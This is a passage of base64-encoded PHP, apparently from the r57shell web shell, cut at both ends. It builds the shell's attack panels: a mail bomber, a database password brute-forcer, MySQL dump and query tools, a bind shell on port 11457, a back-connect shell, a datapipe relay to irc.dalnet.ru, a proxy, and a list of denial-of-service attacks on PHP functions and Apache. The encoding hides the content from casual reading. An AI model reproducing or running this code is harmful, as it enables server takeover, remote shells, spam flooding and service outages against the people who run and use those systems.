J2NtZCcsMCwnbWFpbF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNy KDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0 ZXh0JywnZnJvbScsMzAsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJvbSddKToo ImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1 YWdlLidfdGV4dDEwNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzdWJqJywzMCwoIWVtcHR5 KCRfUE9TVFsnc3ViaiddKT8oJF9QT1NUWydzdWJqJ10pOigiZmlsZSBmcm9tIHI1N3NoZWxsIikp KSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4i PC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMzAsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4k bGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXBy ZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdz dWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIu JGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFj ZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxh bmd1YWdlLidfdGV4dDEzOSddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4i LiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndG8n LDMwLCghZW1wdHkoJF9QT1NUWyd0byddKT8oJF9QT1NUWyd0byddKTooImhhY2tlckBtYWlsLmNv bSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWFpbF9ib21iZXInKS5pbignaGlkZGVuJywnZGly JywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNidd LiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJywzMCwoIWVtcHR5KCRfUE9TVFsnZnJvbSdd KT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigy NSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4 dCcsJ3N1YmonLDMwLCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJo ZWxsbyBiaWxseSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0 MTA4J10uJGFycm93LiI8L2I+IiwnPHRleHRhcmVhIG5hbWU9dGV4dCBjb2xzPTIyIHJvd3M9MT4n LighZW1wdHkoJF9QT1NUWyd0ZXh0J10pPygkX1BPU1RbJ3RleHQnXSk6KCJmbG9vZCB0ZXh0IGhl cmUiKSkuJzwvdGV4dGFyZWE+Jyk7DQplY2hvIHNyKDI1LCI8Yj5GbG9vZCIuJGFycm93LiI8L2I+ IixpbignaW50JywnbWFpbF9mbG9vZCcsNSwoIWVtcHR5KCRfUE9TVFsnbWFpbF9mbG9vZCddKT8o JF9QT1NUWydtYWlsX2Zsb29kJ10pOjEwMCkpLndzKDQpLiI8Yj5TaXplKGtiKSIuJGFycm93LiI8 L2I+Ii5pbignaW50JywnbWFpbF9zaXplJyw1LCghZW1wdHkoJF9QT1NUWydtYWlsX3NpemUnXSk/ KCRfUE9TVFsnbWFpbF9zaXplJ10pOjEwKSkpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywn c3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNSddKSk7DQplY2hvICR0ZS4iPC90ZD4i LiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQppZigkbXlzcWxfb258fCRtc3NxbF9vbnx8 JHBnX29ufHwkb3JhX29uKQ0Kew0KJHNlbGVjdCA9ICc8c2VsZWN0IG5hbWU9ZGI+JzsNCmlmKCRt eXNxbF9vbikgJHNlbGVjdCAuPSAnPG9wdGlvbj5NeVNRTDwvb3B0aW9uPic7DQppZigkbXNzcWxf b24pICRzZWxlY3QgLj0gJzxvcHRpb24+TVNTUUw8L29wdGlvbj4nOw0KaWYoJHBnX29uKSAgICAk c2VsZWN0IC49ICc8b3B0aW9uPlBvc3RncmVTUUw8L29wdGlvbj4nOw0KaWYoJG9yYV9vbikgICAk c2VsZWN0IC49ICc8b3B0aW9uPk9yYWNsZTwvb3B0aW9uPic7DQokc2VsZWN0IC49ICc8L3NlbGVj dD4nOw0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODIn XSwnaWQzNicpLiR0YWJsZV91cDIuZGl2KCdpZDM2JykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxp Z249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0y PjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzQn XS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2Uu J190ZXh0ODAnXS4kYXJyb3cuIjwvYj4iLCRzZWxlY3QuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGly KS5pbignaGlkZGVuJywnY21kJywwLCdkYl9icnV0ZScpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDExMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkYl9zZXJ2 ZXInLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6 KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDgsKCFlbXB0 eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkpKTsNCmVj aG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM5J10uJGFycm93LiI8L2I+Iixp bigndGV4dCcsJ215c3FsX2RiJyw4LCghZW1wdHkoJF9QT1NUWydteXNxbF9kYiddKT8oJF9QT1NU WydteXNxbF9kYiddKTooIm15c3FsIikpKSk7DQplY2hvIHNyKDI1LCIiLGluKCdyYWRpbycsJ2Jy dXRlX21ldGhvZCcsMCwncGFzc3dkJywxKS4iPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4k bGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTknXS4iICggPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VM RiddLiI/dXNlcnM+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iPC9hPiApPC9mb250PiIp Ow0KZWNobyBzcigyNSwiIixpbignY2hlY2tib3gnLCdyZXZlcnNlIGlkPXJldmVyc2UnLDAsJzEn LDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDEnXSk7DQplY2hvIHNyKDI1LCIiLGluKCdyYWRp bycsJ2JydXRlX21ldGhvZCcsMCwnZGljJywwKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM1J10p Ow0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwv Yj4iLGluKCd0ZXh0JywnbXlzcWxfbCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9Q T1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFu Z3VhZ2UuJ190ZXh0MTM1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpY3Rpb25hcnknLDAs KCFlbXB0eSgkX1BPU1RbJ2RpY3Rpb25hcnknXSk/KCRfUE9TVFsnZGljdGlvbmFyeSddKTooJGRp ci4nL3Bhc3N3LmRpYycpKSkpOw0KZWNobyBzcigzNSwiIixpbignc3VibWl0Jywnc3VibWl0Jyww LCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4i PHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5h IHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidf dGV4dDgzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxh bmd1YWdlLidfdGV4dDgwJ10uJGFycm93LiI8L2I+Iiwkc2VsZWN0KTsNCmVjaG8gc3IoMzUsIjxi PiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdk Yl9zZXJ2ZXInLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2 ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDgs KCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkp KTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJyA6ICcuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2wn LDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2wnXSk/KCRfUE9TVFsnbXlzcWxfbCddKTooInJvb3Qi KSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3AnLDgsKCFlbXB0eSgkX1BPU1RbJ215 c3FsX3AnXSk/KCRfUE9TVFsnbXlzcWxfcCddKTooInBhc3N3b3JkIikpKSk7DQplY2hvIHNyKDM1 LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQn LCdteXNxbF9kYicsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfZGInXSk/KCRfUE9TVFsnbXlzcWxf ZGInXSk6KCJteXNxbCIpKSkuJyA8Yj4uPC9iPiAnLmluKCd0ZXh0JywnbXlzcWxfdGJsJyw4LCgh ZW1wdHkoJF9QT1NUWydteXNxbF90YmwnXSk/KCRfUE9TVFsnbXlzcWxfdGJsJ10pOigidXNlciIp KSkpOw0KZWNobyBzcigzNSxpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdj bWQnLDAsJ215c3FsX2R1bXAnKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDEnXS4kYXJy b3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ2RpZiBpZD1kaWYnLDAsJzEnKS5pbigndGV4dCcsJ2Rp Zl9uYW1lJywxNywoIWVtcHR5KCRfUE9TVFsnZGlmX25hbWUnXSk/KCRfUE9TVFsnZGlmX25hbWUn XSk6KCJkdW1wLnNxbCIpKSkpOw0KZWNobyBzcigzNSwiIixpbignc3VibWl0Jywnc3VibWl0Jyww LCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ5J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4i PHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5h IHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidf dGV4dDgzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxh bmd1YWdlLidfdGV4dDgwJ10uJGFycm93LiI8L2I+Iiwkc2VsZWN0KTsNCmVjaG8gc3IoMzUsIjxi PiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdk Yl9zZXJ2ZXInLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2 ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDgs KCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkp KTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJyA6ICcuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2wn LDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2wnXSk/KCRfUE9TVFsnbXlzcWxfbCddKTooInJvb3Qi KSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3AnLDgsKCFlbXB0eSgkX1BPU1RbJ215 c3FsX3AnXSk/KCRfUE9TVFsnbXlzcWxfcCddKTooInBhc3N3b3JkIikpKSk7DQplY2hvIHNyKDM1 LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQn LCdteXNxbF9kYicsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfZGInXSk/KCRfUE9TVFsnbXlzcWxf ZGInXSk6KCJteXNxbCIpKSkpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190 ZXh0ODQnXS4kYXJyb3cuIjwvYj4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRl bicsJ2NtZCcsMCwnZGJfcXVlcnknKSwiIik7DQplY2hvICR0ZS4iPGRpdiBhbGlnbj1jZW50ZXIg aWQ9J24nPjx0ZXh0YXJlYSBjb2xzPTMwIHJvd3M9NCBuYW1lPWRiX3F1ZXJ5PiIuKCFlbXB0eSgk X1BPU1RbJ2RiX3F1ZXJ5J10pPygkX1BPU1RbJ2RiX3F1ZXJ5J10pOigiU0hPVyBEQVRBQkFTRVM7 XG5TSE9XIFRBQkxFUztcblNFTEVDVCAqIEZST00gdXNlcjtcblNFTEVDVCB2ZXJzaW9uKCk7XG5T RUxFQ1QgdXNlcigpOyIpKS4iPC90ZXh0YXJlYT48YnI+Ii5pbignc3VibWl0Jywnc3VibWl0Jyww LCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pLiI8L2Rpdj4iOw0KZWNobyAiPC90ZD4iLiRmZS4i PC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQppZighJHNhZmVfbW9kZSAmJiR1bml4KXsNCmVjaG8g JHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgxJ10sJ2lkMzcnKS4k dGFibGVfdXAyLmRpdignaWQzNycpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0 aD0yNSU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFs aWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OSddLiI8L2Rpdj48L2I+ PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMCddLiRh cnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwb3J0JywxMCwnMTE0NTcnKSk7DQplY2hvIHNyKDQwLCI8 Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdi aW5kX3Bhc3MnLDEwLCdyNTcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4n X3RleHQyMCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+ PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5D PC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3Io NDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MyddKSk7 DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTI1JT4iLiR0 czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVy IGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMiddLiI8L2Rpdj48L2I+PC9mb250PiI7 DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMyddLiRhcnJvdy4iPC9i PiIsaW4oJ3RleHQnLCdpcCcsMTUsKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8oZ2V0ZW52KCdS RU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5n WyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwb3J0JywxNSwn MTE0NTcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRh cnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1 ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5DPC9vcHRpb24+PC9z ZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1 Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NCddKSk7DQplY2hvICR0ZS4i PC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTI1JT4iLiR0czsNCmVjaG8gIjxm b250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRs YW5nWyRsYW5ndWFnZS4nX3RleHQyMiddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQw LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQn LCdsb2NhbF9wb3J0JywxMCwnMTE0NTcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5n dWFnZS4nX3RleHQyNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVfaG9zdCcsMTAs J2lyYy5kYWxuZXQucnUnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3Rl eHQyNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVfcG9ydCcsMTAsJzY2NjcnKSk7 DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLiRhcnJvdy4iPC9i PiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxc Ij5kYXRhcGlwZS5wbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+ZGF0YXBpcGUuYzwvb3B0 aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDQwLCIi LGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDUnXSkpOw0KZWNo byAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0yNSU+Ii4kdHM7DQpl Y2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0n bic+UHJveHk8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5n dWFnZS4nX3RleHQxMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwcm94eV9wb3J0JywxMCwn MzEzMzcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLiRh cnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1 ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRk aXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3Vh Z2UuJ19idXR0NSddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxl PiI7DQp9DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQx NDAnXSwnaWQzOCcpLiR0YWJsZV91cDIuZGl2KCdpZDM4JykuJHRzLiI8dHI+PHRkIHZhbGlnbj10 b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIGNvbG9yPXJlZCBz aXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3Rl eHQxNDEnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRl bicsJ2NtZCcsMCwnZG9zMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ1JlY3Vyc2l2ZSBtZW1v cnkgZXhoYXVzdGlvbicpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21k JywwLCdkb3MyJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnTWVtb3J5X2xpbWl0IGV4aGF1c3Rp b24gaW4gWyBwYWNrKCkgXSBmdW5jdGlvbicpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbign aGlkZGVuJywnY21kJywwLCdkb3MzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIGluIFsg dW5zZXJpYWxpemUoKSBdIGZ1bmN0aW9uJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdo aWRkZW4nLCdjbWQnLDAsJ2RvczQnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdMaW1pdCBpbnRl Z2VyIGNhbGN1bGF0ZSAoNjU1MzUpIGluIFplbmRFbmdpbmUnKS4kZmUpOw0KZWNobyBzcigxMCwi IiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zNScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAs J1NRbGl0ZSBbIGRsKCkgXSB2dWxuZXJhYmlsaXR5JykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZz LmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczYnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdQQ1JF IFsgcHJlZ19tYXRjaCgpIF0gZXhoYXVzdGlvbiByZXNvdXJjZXMgKFBIUCA8NS4yLjEpJykuJGZl KTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczcnKS5pbignc3Vi bWl0Jywnc3VibWl0JywwLCdNZW1vcnlfbGltaXQgZXhoYXVzdGlvbiBpbiBbIHN0cl9yZXBlYXQo KSBdIGZ1bmN0aW9uIChQSFAgPDQuNC41LDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRm cy5pbignaGlkZGVuJywnY21kJywwLCdkb3M4JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQXBh Y2hlIHByb2Nlc3Mga2lsbGVyJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4n LCdjbWQnLDAsJ2RvczknKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdPdmVybG9hZCBpbm9kZXMg ZnJvbSBIRC5JIHZpYSBbIHRlbXBuYW0oKSBdIChQSFAgNC40LjIsIDUuMS4yKScpLiRmZSk7DQpl Y2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxMCcpLmluKCdzdWJtaXQn LCdzdWJtaXQnLDAsJ0JvRiBpbiBbIHdvcmR3cmFwKCkgXSBmdW5jdGlvbiAoUEhQIDw0LjQuMiw1 LjEuMiknKS4kZmUpOw0KZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIu JHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIGNvbG9yPXJlZCBzaXplPS0yPjxiPjxkaXYg YWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDEnXS4iPC9kaXY+ PC9iPjwvZm9udD4iOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9z MTEnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgaW4gWyBhcnJheV9maWxsKCkgXSBmdW5j dGlvbiAoUEhQIDw0LjQuMiw1LjEuMiknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hp ZGRlbicsJ2NtZCcsMCwnZG9zMTInKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgaW4gWyBz dWJzdHJfY29tcGFyZSgpIF0gZnVuY3Rpb24gKFBIUCA8NC40LjIsNS4xLjIpJykuJGZlKTsNCmVj aG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczEzJykuaW4oJ3N1Ym1pdCcs J3N1Ym1pdCcsMCwnQXJyYXkgQ3JlYXRpb24gaW4gWyB1bnNlcmlhbGl6ZSgpIF0gNjQgYml0IGZ1 bmN0aW9uIChQSFAgPDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVu JywnY21kJywwLCdkb3MxNCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBpbiBbIHN0cl9p cmVwbGFjZSgpIF0gZnVuY3Rpb24gKFBIUCA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIs JGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE1JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwn Qm9GIGluIFsgaHRtbGVudGl0aWVzKCkgXSBmdW5jdGlvbiAoUEhQIDw1LjEuNiw0LjQuNCknKS4k ZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTYnKS5pbign c3VibWl0Jywnc3VibWl0JywwLCdJbnRlZ2VyIE92ZXJmbG93IGluIFsgemlwX2VudHJ5X3JlYWQo KSBdIGZ1bmN0aW9uIChQSFAgPDQuNC41KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbign aGlkZGVuJywnY21kJywwLCdkb3MxNycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBpbiBb IHNxbGl0ZV91ZGZfZGVjb2RlX2JpbmFyeSgpIF0gZnVuY3Rpb24gKFBIUCA8NC40LjUsNS4yLjEp 